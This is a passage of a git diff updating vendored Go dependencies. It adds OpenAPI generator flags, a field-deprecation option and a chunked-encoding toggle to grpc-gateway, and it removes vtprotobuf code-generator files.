mergeFileName = flag.String("merge_file_name", "apidocs", "target OpenAPI file name prefix after merge") + useJSONNamesForFields = flag.Bool("json_names_for_fields", true, "if disabled, the original proto name will be used for generating OpenAPI definitions") + repeatedPathParamSeparator = flag.String("repeated_path_param_separator", "csv", "configures how repeated fields should be split. Allowed values are `csv`, `pipes`, `ssv` and `tsv`") + versionFlag = flag.Bool("version", false, "print the current version") + _ = flag.Bool("allow_repeated_fields_in_body", true, "allows to use repeated field in `body` and `response_body` field of `google.api.http` annotation option. DEPRECATED: the value is ignored and always behaves as `true`.") + includePackageInTags = flag.Bool("include_package_in_tags", false, "if unset, the gRPC service name is added to the `Tags` field of each operation. If set and the `package` directive is shown in the proto file, the package name will be prepended to the service name") + useFQNForOpenAPIName = flag.Bool("fqn_for_openapi_name", false, "if set, the object's OpenAPI names will use the fully qualified names from the proto definition (ie my.package.MyMessage.MyInnerMessage). DEPRECATED: prefer `openapi_naming_strategy=fqn`") + openAPINamingStrategy = flag.String("openapi_naming_strategy", "", "use the given OpenAPI naming strategy. Allowed values are `legacy`, `fqn`, `simple`, `package`. If unset, either `legacy` or `fqn` are selected, depending on the value of the `fqn_for_openapi_name` flag") + useGoTemplate = flag.Bool("use_go_templates", false, "if set, you can use Go templates in protofile comments") + goTemplateArgs = utilities.StringArrayFlag(flag.CommandLine, "go_template_args", "provide a custom value that can override a key in the Go template. Requires the `use_go_templates` option to be set") + ignoreComments = flag.Bool("ignore_comments", false, "if set, all protofile comments are excluded from output") + removeInternalComments = flag.Bool("remove_internal_comments", false, "if set, removes all substrings in comments that start with `(--` and end with `--)` as specified in https://google.aip.dev/192#internal-comments") + disableDefaultErrors = flag.Bool("disable_default_errors", false, "if set, disables generation of default errors. This is useful if you have defined custom error handling") + enumsAsInts = flag.Bool("enums_as_ints", false, "whether to render enum values as integers, as opposed to string values") + simpleOperationIDs = flag.Bool("simple_operation_ids", false, "whether to remove the service prefix in the operationID generation. Can introduce duplicate operationIDs, use with caution.") + proto3OptionalNullable = flag.Bool("proto3_optional_nullable", false, "whether Proto3 Optional fields should be marked as x-nullable") + openAPIConfiguration = flag.String("openapi_configuration", "", "path to file which describes the OpenAPI Configuration in YAML format") + generateUnboundMethods = flag.Bool("generate_unbound_methods", false, "generate swagger metadata even for RPC methods that have no HttpRule annotation") + recursiveDepth = flag.Int("recursive-depth", 1000, "maximum recursion count allowed for a field type") + omitEnumDefaultValue = flag.Bool("omit_enum_default_value", false, "if set, omit default enum value") + outputFormat = flag.String("output_format", string(genopenapi.FormatJSON), fmt.Sprintf("output content format. Allowed values are: `%s`, `%s`", genopenapi.FormatJSON, genopenapi.FormatYAML)) + visibilityRestrictionSelectors = utilities.StringArrayFlag(flag.CommandLine, "visibility_restriction_selectors", "list of `google.api.VisibilityRule` visibility labels to include in the generated output when a visibility annotation is defined. Repeat this option to supply multiple values. Elements without visibility annotations are unaffected by this setting.") + disableServiceTags = flag.Bool("disable_service_tags", false, "if set, disables generation of service tags. This is useful if you do not want to expose the names of your backend grpc services.") + disableDefaultResponses = flag.Bool("disable_default_responses", false, "if set, disables generation of default responses. Useful if you have to support custom response codes that are not 200.") + useAllOfForRefs = flag.Bool("use_allof_for_refs", false, "if set, will use allOf as container for $ref to preserve same-level properties.") + omitArrayItemTypeWhenRefSibling = flag.Bool("omit_array_item_type_when_ref_sibling", false, "if set, will omit 'type: object' in array items when $ref is present to avoid strict no-$ref-siblings rule violations.") + allowPatchFeature = flag.Bool("allow_patch_feature", true, "whether to hide update_mask fields in PATCH requests from the generated swagger file.") + preserveRPCOrder = flag.Bool("preserve_rpc_order", false, "if true, will ensure the order of paths emitted in openapi swagger files mirror the order of RPC methods found in proto files. If false, emitted paths will be ordered alphabetically.") + enableRpcDeprecation = flag.Bool("enable_rpc_deprecation", false, "whether to process grpc method's deprecated option.") + enableFieldDeprecation = flag.Bool("enable_field_deprecation", false, "whether to process proto field's deprecated option.") + expandSlashedPathPatterns = flag.Bool("expand_slashed_path_patterns", false, "if set, expands path parameters with URI sub-paths into the URI. For example, \"/v1/{name=projects/*}/resource\" becomes \"/v1/projects/{project}/resource\".") + useProto3FieldSemantics = flag.Bool("use_proto3_field_semantics", false, "if set, uses proto3 field semantics for the OpenAPI schema. This means that fields are required by default.") + generateXGoType = flag.Bool("generate_x_go_type", false, "if set, generates x-go-type extension using the go_package option from proto files") _ = flag.Bool("logtostderr", false, "Legacy glog compatibility. This flag is a no-op, you can safely remove it") ) @@ -174,9 +176,11 @@ func main() { reg.SetDisableServiceTags(*disableServiceTags) reg.SetDisableDefaultResponses(*disableDefaultResponses) reg.SetUseAllOfForRefs(*useAllOfForRefs) + reg.SetOmitArrayItemTypeWhenRefSibling(*omitArrayItemTypeWhenRefSibling) reg.SetAllowPatchFeature(*allowPatchFeature) reg.SetPreserveRPCOrder(*preserveRPCOrder) reg.SetEnableRpcDeprecation(*enableRpcDeprecation) + reg.SetEnableFieldDeprecation(*enableFieldDeprecation) reg.SetExpandSlashedPathPatterns(*expandSlashedPathPatterns) reg.SetGenerateXGoType(*generateXGoType) diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.pb.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.pb.go index 3a34e664..5121dce3 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.pb.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.pb.go @@ -3476,6 +3476,9 @@ type JSONSchema_FieldConfiguration struct { // parameter. Use this to avoid having auto generated path parameter names // for overlapping paths. PathParamName string `protobuf:"bytes,47,opt,name=path_param_name,json=pathParamName,proto3" json:"path_param_name,omitempty"` + // Declares this field to be deprecated. Allows for the generated OpenAPI + // parameter to be marked as deprecated without affecting the proto field. + Deprecated bool `protobuf:"varint,49,opt,name=deprecated,proto3" json:"deprecated,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } @@ -3512,10 +3515,21 @@ func (x *JSONSchema_FieldConfiguration) GetPathParamName() string { return "" } +func (x *JSONSchema_FieldConfiguration) GetDeprecated() bool { + if x != nil { + return x.Deprecated + } + return false +} + func (x *JSONSchema_FieldConfiguration) SetPathParamName(v string) { x.PathParamName = v } +func (x *JSONSchema_FieldConfiguration) SetDeprecated(v bool) { + x.Deprecated = v +} + type JSONSchema_FieldConfiguration_builder struct { _ [0]func() // Prevents comparability and use of unkeyed literals for the builder. @@ -3524,6 +3538,9 @@ type JSONSchema_FieldConfiguration_builder struct { // parameter. Use this to avoid having auto generated path parameter names // for overlapping paths. PathParamName string + // Declares this field to be deprecated. Allows for the generated OpenAPI + // parameter to be marked as deprecated without affecting the proto field. + Deprecated bool } func (b0 JSONSchema_FieldConfiguration_builder) Build() *JSONSchema_FieldConfiguration { @@ -3531,6 +3548,7 @@ func (b0 JSONSchema_FieldConfiguration_builder) Build() *JSONSchema_FieldConfigu b, x := &b0, m0 _, _ = b, x x.PathParamName = b.PathParamName + x.Deprecated = b.Deprecated return m0 } @@ -3904,7 +3922,7 @@ var file_protoc_gen_openapiv2_options_openapiv2_proto_rawDesc = []byte{ 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd7, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xf7, 0x0a, 0x0a, 0x0a, 0x4a, 0x53, 0x4f, 0x4e, 0x53, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x72, 0x65, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x72, 0x65, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, @@ -3968,11 +3986,13 @@ var file_protoc_gen_openapiv2_options_openapiv2_proto_rawDesc = []byte{ 0x67, 0x65, 0x6e, 0x5f, 0x6f, 0x70, 0x65, 0x6e, 0x61, 0x70, 0x69, 0x76, 0x32, 0x2e, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x4a, 0x53, 0x4f, 0x4e, 0x53, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0a, 0x65, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x1a, 0x3c, 0x0a, 0x12, + 0x52, 0x0a, 0x65, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x1a, 0x5c, 0x0a, 0x12, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0f, 0x70, 0x61, 0x74, 0x68, 0x5f, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x2f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x70, 0x61, 0x74, - 0x68, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x4e, 0x61, 0x6d, 0x65, 0x1a, 0x55, 0x0a, 0x0f, 0x45, 0x78, + 0x68, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x65, + 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x18, 0x31, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, + 0x64, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x1a, 0x55, 0x0a, 0x0f, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.proto b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.proto index 5313f081..444a5687 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.proto +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2.proto @@ -612,6 +612,9 @@ message JSONSchema { // parameter. Use this to avoid having auto generated path parameter names // for overlapping paths. string path_param_name = 47; + // Declares this field to be deprecated. Allows for the generated OpenAPI + // parameter to be marked as deprecated without affecting the proto field. + bool deprecated = 49; } // Custom properties that start with "x-" such as "x-foo" used to describe // extra functionality that is not covered by the standard OpenAPI Specification. diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2_protoopaque.pb.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2_protoopaque.pb.go index 1f0e0c26..5316ed61 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2_protoopaque.pb.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/options/openapiv2_protoopaque.pb.go @@ -3268,6 +3268,7 @@ func (b0 Scopes_builder) Build() *Scopes { type JSONSchema_FieldConfiguration struct { state protoimpl.MessageState `protogen:"opaque.v1"` xxx_hidden_PathParamName string `protobuf:"bytes,47,opt,name=path_param_name,json=pathParamName,proto3" json:"path_param_name,omitempty"` + xxx_hidden_Deprecated bool `protobuf:"varint,49,opt,name=deprecated,proto3" json:"deprecated,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } @@ -3304,10 +3305,21 @@ func (x *JSONSchema_FieldConfiguration) GetPathParamName() string { return "" } +func (x *JSONSchema_FieldConfiguration) GetDeprecated() bool { + if x != nil { + return x.xxx_hidden_Deprecated + } + return false +} + func (x *JSONSchema_FieldConfiguration) SetPathParamName(v string) { x.xxx_hidden_PathParamName = v } +func (x *JSONSchema_FieldConfiguration) SetDeprecated(v bool) { + x.xxx_hidden_Deprecated = v +} + type JSONSchema_FieldConfiguration_builder struct { _ [0]func() // Prevents comparability and use of unkeyed literals for the builder. @@ -3316,6 +3328,9 @@ type JSONSchema_FieldConfiguration_builder struct { // parameter. Use this to avoid having auto generated path parameter names // for overlapping paths. PathParamName string + // Declares this field to be deprecated. Allows for the generated OpenAPI + // parameter to be marked as deprecated without affecting the proto field. + Deprecated bool } func (b0 JSONSchema_FieldConfiguration_builder) Build() *JSONSchema_FieldConfiguration { @@ -3323,6 +3338,7 @@ func (b0 JSONSchema_FieldConfiguration_builder) Build() *JSONSchema_FieldConfigu b, x := &b0, m0 _, _ = b, x x.xxx_hidden_PathParamName = b.PathParamName + x.xxx_hidden_Deprecated = b.Deprecated return m0 } @@ -3696,7 +3712,7 @@ var file_protoc_gen_openapiv2_options_openapiv2_proto_rawDesc = []byte{ 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd7, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xf7, 0x0a, 0x0a, 0x0a, 0x4a, 0x53, 0x4f, 0x4e, 0x53, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x72, 0x65, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x72, 0x65, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, @@ -3760,11 +3776,13 @@ var file_protoc_gen_openapiv2_options_openapiv2_proto_rawDesc = []byte{ 0x67, 0x65, 0x6e, 0x5f, 0x6f, 0x70, 0x65, 0x6e, 0x61, 0x70, 0x69, 0x76, 0x32, 0x2e, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x4a, 0x53, 0x4f, 0x4e, 0x53, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0a, 0x65, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x1a, 0x3c, 0x0a, 0x12, + 0x52, 0x0a, 0x65, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x1a, 0x5c, 0x0a, 0x12, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0f, 0x70, 0x61, 0x74, 0x68, 0x5f, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x2f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x70, 0x61, 0x74, - 0x68, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x4e, 0x61, 0x6d, 0x65, 0x1a, 0x55, 0x0a, 0x0f, 0x45, 0x78, + 0x68, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x65, + 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x18, 0x31, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, + 0x64, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x1a, 0x55, 0x0a, 0x0f, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/handler.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/handler.go index 2f0b9e9e..4c9083d7 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/handler.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/handler.go @@ -28,7 +28,9 @@ func ForwardResponseStream(ctx context.Context, mux *ServeMux, marshaler Marshal } handleForwardResponseServerMetadata(w, mux, md) - w.Header().Set("Transfer-Encoding", "chunked") + if !mux.disableChunkedEncoding { + w.Header().Set("Transfer-Encoding", "chunked") + } if err := handleForwardResponseOptions(ctx, w, nil, opts); err != nil { HTTPError(ctx, mux, marshaler, w, req, err) return diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/mux.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/mux.go index 3eb16167..4e684c7d 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/mux.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/runtime/mux.go @@ -73,6 +73,7 @@ type ServeMux struct { disablePathLengthFallback bool unescapingMode UnescapingMode writeContentLength bool + disableChunkedEncoding bool } // ServeMuxOption is an option that can be given to a ServeMux on construction. @@ -125,6 +126,16 @@ func WithMiddlewares(middlewares ...Middleware) ServeMuxOption { } } +// WithDisableChunkedEncoding disables the Transfer-Encoding: chunked header +// for streaming responses. This is useful for streaming implementations that use +// Content-Length, which is mutually exclusive with Transfer-Encoding:chunked. +// Note that this option will not automatically add Content-Length headers, so it should be used with caution. +func WithDisableChunkedEncoding() ServeMuxOption { + return func(mux *ServeMux) { + mux.disableChunkedEncoding = true + } +} + // SetQueryParameterParser sets the query parameter parser, used to populate message from query parameters. // Configuring this will mean the generated OpenAPI output is no longer correct, and it should be // done with careful consideration. diff --git a/vendor/github.com/knqyf263/go-plugin/gen/vtproto.go b/vendor/github.com/knqyf263/go-plugin/gen/vtproto.go deleted file mode 100644 index 888ca16a..00000000 --- a/vendor/github.com/knqyf263/go-plugin/gen/vtproto.go +++ /dev/null @@ -1,33 +0,0 @@ -package gen - -import ( - "bytes" -) - -func (gg *Generator) generateVTFile(f *fileInfo) { - // It is a bit tricky, but necessary for workaround. - // Generates a vtprotobuf file as a dummy file, modifies and writes that to the real file. - filename := f.GeneratedFilenamePrefix + "_vt_dummy.pb.go" - g := gg.plugin.NewGeneratedFile(filename, f.GoImportPath) - gg.vtgen.GenerateFile(g, f.File) - - b, err := g.Content() - if err != nil { - gg.plugin.Error(err) - return - } - - // Skip the generated header - if idx := bytes.Index(b, []byte("import ")); idx != -1 { - b = b[idx:] - } - - // Do not generate the dummy file - g.Skip() - - // Write the replaced content - filename = f.GeneratedFilenamePrefix + "_vtproto.pb.go" - g = gg.plugin.NewGeneratedFile(filename, f.GoImportPath) - gg.generateHeader(g, f) - g.Write(b) -} diff --git a/vendor/github.com/planetscale/vtprotobuf/generator/generatedfile.go b/vendor/github.com/planetscale/vtprotobuf/generator/generatedfile.go deleted file mode 100644 index f85cd379..00000000 --- a/vendor/github.com/planetscale/vtprotobuf/generator/generatedfile.go +++ /dev/null @@ -1,105 +0,0 @@ -// Copyright (c) 2021 PlanetScale Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package generator - -import ( - "fmt" - - "github.com/planetscale/vtprotobuf/vtproto" - - "google.golang.org/protobuf/compiler/protogen" - "google.golang.org/protobuf/proto" - "google.golang.org/protobuf/reflect/protoreflect" -) - -type GeneratedFile struct { - *protogen.GeneratedFile - Ext *Extensions - LocalPackages map[string]bool - - helpers map[string]bool -} - -func (p *GeneratedFile) Helper(name string, generate func(p *GeneratedFile)) { - if p.helpers[name] { - return - } - generate(p) - p.helpers[name] = true -} - -func (p *GeneratedFile) Ident(path, ident string) string { - return p.QualifiedGoIdent(protogen.GoImportPath(path).Ident(ident)) -} - -func (b *GeneratedFile) ShouldPool(message *protogen.Message) bool { - if message == nil { - return false - } - if b.Ext.Poolable[message.GoIdent] { - return true - } - ext := proto.GetExtension(message.Desc.Options(), vtproto.E_Mempool) - if mempool, ok := ext.(bool); ok { - return mempool - } - return false -} - -func (b *GeneratedFile) Alloc(vname string, message *protogen.Message) { - if b.ShouldPool(message) { - b.P(vname, " := ", message.GoIdent, `FromVTPool()`) - } else { - b.P(vname, " := new(", message.GoIdent, `)`) - } -} - -func (p *GeneratedFile) FieldGoType(field *protogen.Field) (goType string, pointer bool) { - if field.Desc.IsWeak() { - return "struct{}", false - } - - pointer = field.Desc.HasPresence() - switch field.Desc.Kind() { - case protoreflect.BoolKind: - goType = "bool" - case protoreflect.EnumKind: - goType = p.QualifiedGoIdent(field.Enum.GoIdent) - case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: - goType = "int32" - case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: - goType = "uint32" - case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: - goType = "int64" - case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: - goType = "uint64" - case protoreflect.FloatKind: - goType = "float32" - case protoreflect.DoubleKind: - goType = "float64" - case protoreflect.StringKind: - goType = "string" - case protoreflect.BytesKind: - goType = "[]byte" - pointer = false // rely on nullability of slices for presence - case protoreflect.MessageKind, protoreflect.GroupKind: - goType = "*" + p.QualifiedGoIdent(field.Message.GoIdent) - pointer = false // pointer captured as part of the type - } - switch { - case field.Desc.IsList(): - return "[]" + goType, false - case field.Desc.IsMap(): - keyType, _ := p.FieldGoType(field.Message.Fields[0]) - valType, _ := p.FieldGoType(field.Message.Fields[1]) - return fmt.Sprintf("map[%v]%v", keyType, valType), false - } - return goType, pointer -} - -func (p *GeneratedFile) IsLocalMessage(message *protogen.Message) bool { - pkg := string(message.Desc.ParentFile().Package()) - return p.LocalPackages[pkg] -} diff --git a/vendor/github.com/planetscale/vtprotobuf/generator/generator.go b/vendor/github.com/planetscale/vtprotobuf/generator/generator.go deleted file mode 100644 index 8eb2e165..00000000 --- a/vendor/github.com/planetscale/vtprotobuf/generator/generator.go +++ /dev/null @@ -1,95 +0,0 @@ -// Copyright (c) 2021 PlanetScale Inc. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package generator - -import ( - "runtime/debug" - - "google.golang.org/protobuf/compiler/protogen" - "google.golang.org/protobuf/runtime/protoimpl" -) - -type featureHelpers struct { - path protogen.GoImportPath - feature int -} - -type Extensions struct { - Poolable map[protogen.GoIdent]bool -} - -type Generator struct { - seen map[featureHelpers]bool - ext *Extensions - features []Feature - local map[string]bool -} - -func NewGenerator(allFiles []*protogen.File, featureNames []string, ext *Extensions) (*Generator, error) { - features, err := findFeatures(featureNames) - if err != nil { - return nil, err - } - - local := make(map[string]bool) - for _, f := range allFiles { - if f.Generate { - local[string(f.Desc.Package())] = true - } - } - - return &Generator{ - seen: make(map[featureHelpers]bool), - ext: ext, - features: features, - local: local, - }, nil -} - -func (gen *Generator) GenerateFile(gf *protogen.GeneratedFile, file *protogen.File) bool { - p := &GeneratedFile{ - GeneratedFile: gf, - Ext: gen.ext, - LocalPackages: gen.local, - helpers: make(map[string]bool), - } - - p.P("// Code generated by protoc-gen-go-vtproto. DO NOT EDIT.") - if bi, ok := debug.ReadBuildInfo(); ok { - p.P("// protoc-gen-go-vtproto version: ", bi.Main.Version) - } - p.P("// source: ", file.Desc.Path()) - p.P() - p.P("package ", file.GoPackageName) - p.P() - - protoimplPackage := protogen.GoImportPath("google.golang.org/protobuf/runtime/protoimpl") - p.P("const (") - p.P("// Verify that this generated code is sufficiently up-to-date.") - p.P("_ = ", protoimplPackage.Ident("EnforceVersion"), "(", protoimpl.GenVersion, " - ", protoimplPackage.Ident("MinVersion"), ")") - p.P("// Verify that runtime/protoimpl is sufficiently up-to-date.") - p.P("_ = ", protoimplPackage.Ident("EnforceVersion"), "(", protoimplPackage.Ident("MaxVersion"), " - ", protoimpl.GenVersion, ")") - p.P(")") - p.P() - - var generated bool - for fidx, feat := range gen.features { - featGenerator := feat(p) - if featGenerator.GenerateFile(file) { - generated = true - - helpersForPlugin := featureHelpers{ - path: file.GoImportPath, - feature: fidx, - } - if !gen.seen[helpersForPlugin] { - featGenerator.GenerateHelpers() - gen.seen[helpersForPlugin] = true - } - } - } - - return generated -} diff --git a/vendor/github.com/planetscale/vtprotobuf/vtproto/ext.pb.go b/vendor/github.com/planetscale/vtprotobuf/vtproto/ext.pb.go deleted file mode 100644 index b0f63a25..00000000 --- a/vendor/github.com/planetscale/vtprotobuf/vtproto/ext.pb.go +++ /dev/null @@ -1,95 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.26.0 -// protoc v3.21.12 -// source: github.com/planetscale/vtprotobuf/vtproto/ext.proto - -package vtproto - -import ( - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - descriptorpb "google.golang.org/protobuf/types/descriptorpb" - reflect "reflect" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -var file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_extTypes = []protoimpl.ExtensionInfo{ - { - ExtendedType: (*descriptorpb.MessageOptions)(nil), - ExtensionType: (*bool)(nil), - Field: 64101, - Name: "vtproto.mempool", - Tag: "varint,64101,opt,name=mempool", - Filename: "github.com/planetscale/vtprotobuf/vtproto/ext.proto", - }, -} - -// Extension fields to descriptorpb.MessageOptions. -var ( - // optional bool mempool = 64101; - E_Mempool = &file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_extTypes[0] -) - -var File_github_com_planetscale_vtprotobuf_vtproto_ext_proto protoreflect.FileDescriptor - -var file_github_com_planetscale_vtprotobuf_vtproto_ext_proto_rawDesc = []byte{ - 0x0a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x6c, 0x61, - 0x6e, 0x65, 0x74, 0x73, 0x63, 0x61, 0x6c, 0x65, 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x65, 0x78, 0x74, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x07, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x20, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, - 0x64, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x6f, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x3a, 0x3b, 0x0a, 0x07, 0x6d, 0x65, 0x6d, 0x70, 0x6f, 0x6f, 0x6c, 0x12, 0x1f, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 